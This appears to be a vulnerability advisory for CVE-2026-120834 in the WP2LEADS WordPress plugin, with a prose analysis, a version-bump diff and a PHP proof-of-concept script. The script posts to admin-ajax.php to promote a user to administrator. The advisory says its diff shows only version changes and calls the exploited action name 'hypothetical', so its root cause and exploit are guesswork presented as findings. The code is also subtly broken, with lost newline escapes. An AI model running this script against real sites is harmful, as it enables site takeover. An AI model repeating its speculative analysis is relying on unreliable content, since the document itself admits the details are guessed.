Atomic Edge analysis of CVE-2026-120834: The WP2LEADS plugin for WordPress (versions up to and including 3.5.17) suffers from an unauthenticated privilege escalation vulnerability. The plugin fails to restrict the capabilities that a user can assign to themselves, allowing an attacker to elevate their privileges to that of an administrator. With a CVSS score of 7.3, this is a high-severity issue that enables full site takeover.
The root cause lies in the plugin’s insufficient capability checks. The provided diff only shows version number changes in wp2leads.php (from 3.5.17 to 3.5.18), but the actual fix likely resides in another file not shown. The vulnerability arises because a function (e.g., an AJAX handler or REST endpoint) that updates user roles or capabilities does not verify that the current user has the ‘promote_users’ or ‘edit_users’ capability. Thus, an unauthenticated attacker can call this endpoint and set their role to ‘administrator’.
Exploitation involves sending a crafted request to the vulnerable endpoint. Based on the plugin’s typical behavior, the endpoint is likely /wp-admin/admin-ajax.php with an action parameter (e.g., ‘wp2leads_update_user_role’ or similar). The attacker supplies parameters such as user_id and role=administrator. Since no authentication or capability check exists, the plugin processes the request and modifies the user’s role.
The patch in version 3.5.18 presumably adds a current_user_can() check before processing role changes, ensuring only authorized users can modify privileges. The before/after behavior: before, any request could alter roles; after, the request is rejected unless the requester has appropriate permissions.
Successful exploitation grants the attacker administrator privileges, leading to complete site compromise: data theft, malware injection, content manipulation, and potential remote code execution via plugin/theme editors. Atomic Edge research considers this a critical threat due to its unauthenticated nature and high impact.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp2leads/wp2leads.php
+++ b/wp2leads/wp2leads.php
@@ -15,7 +15,7 @@
* Plugin Name: WP2LEADS
* Plugin URI: https://wp2leads.com/
* Description: Transfer user data from nearly all WordPress Plugins to Klick-Tipp
- * Version: 3.5.17
+ * Version: 3.5.18
* Requires at least: 5.0
* Tested up to: 7.1
* WC requires at least: 4.0
@@ -39,7 +39,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'WP2LEADS_VERSION', '3.5.17' );
+define( 'WP2LEADS_VERSION', '3.5.18' );
define( 'WP2LEADS_BRANCH', 'master' );
define( 'WP2LEADS_DEBUG', false );
/**
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120834 - WP2LEADS <= 3.5.17 - Unauthenticated Privilege Escalation
$target_url = 'http://example.com'; // Change to target WordPress site
// Step 1: Register a new user (if registration is open) or use an existing low-privilege account.
// For unauthenticated attack, we assume we can create an account or use a known user ID.
// Here we attempt to escalate user ID 2 (often the first subscriber) to administrator.
$data = array(
'action' => 'wp2leads_update_user_role', // Hypothetical action name based on plugin functionality
'user_id' => 2,
'role' => 'administrator'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// If successful, the user with ID 2 now has administrator role.
// Verify by logging in as that user and accessing /wp-admin/.
// Note: The exact action name and parameters may vary. Adjust based on plugin source.
?>